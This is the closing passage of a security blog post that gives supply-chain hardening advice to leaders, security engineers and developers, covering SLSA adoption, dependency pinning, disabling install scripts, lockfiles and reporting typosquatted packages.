2. Adopt SLSA incrementally — Start at Level 1 (generate provenance), progress to Level 2 (sign provenance), and work toward Level 3 (hardened builds) for critical systems. Do not let perfect be the enemy of good.

3. Budget for supply chain security tooling — SCA scanners, SBOM management platforms, provenance verification tools, and private registry infrastructure are not optional anymore. They are as essential as firewalls and endpoint protection.

4. Include supply chain scenarios in tabletop exercises — Your incident response plan should include playbooks for compromised dependencies, malicious packages, and CI/CD pipeline breaches.

For Security Engineers¶

1. Pin everything — Dependencies, CI/CD actions, base images, build tools. Use lockfiles, commit them, and verify them in CI. Never use @latest in production.

2. Disable install scripts — Run npm install --ignore-scripts and pip install --no-deps in CI, then explicitly run only the scripts you need. Most malicious packages rely on install-time execution.

3. Monitor build infrastructure — Your CI/CD runners should have network monitoring, process monitoring, and file integrity monitoring. Treat them as production servers, not disposable VMs.

4. Verify before you trust — Check package signatures, verify provenance, validate checksums. Automate these checks so they happen on every build, not just when someone remembers.

For Developers¶

1. Review dependency updates — Do not blindly merge Dependabot PRs. Read the changelog, check the diff, verify the maintainer. Automated updates are convenient but they bypass human judgment.

2. Minimize your dependency tree — Every dependency is attack surface. Before adding a package, ask: can I implement this in 50 lines of code? If yes, do that instead.

3. Use lockfiles religiously — Commit your lockfile. Use npm ci instead of npm install. Use pip install --require-hashes. Never let your build resolve versions at install time.

4. Report suspicious packages — If you see a package that looks like typosquatting, report it to the registry. You might be the first person to notice.

The Bottom Line¶

Supply chain security is not a product you buy or a checkbox you tick. It is an ongoing practice that requires visibility (SBOMs), verification (SLSA), detection (monitoring and queries), and response (playbooks and procedures). The organizations that treat it as a continuous discipline — not a one-time project — are the ones that will weather the next major supply chain compromise.

This post is part of the Nexus SecOps threat intelligence blog. All data, company names, IP addresses, and incidents described are entirely fictional and used for educational purposes only. IP addresses conform to RFC 5737 (documentation ranges). No real organizations or individuals are referenced.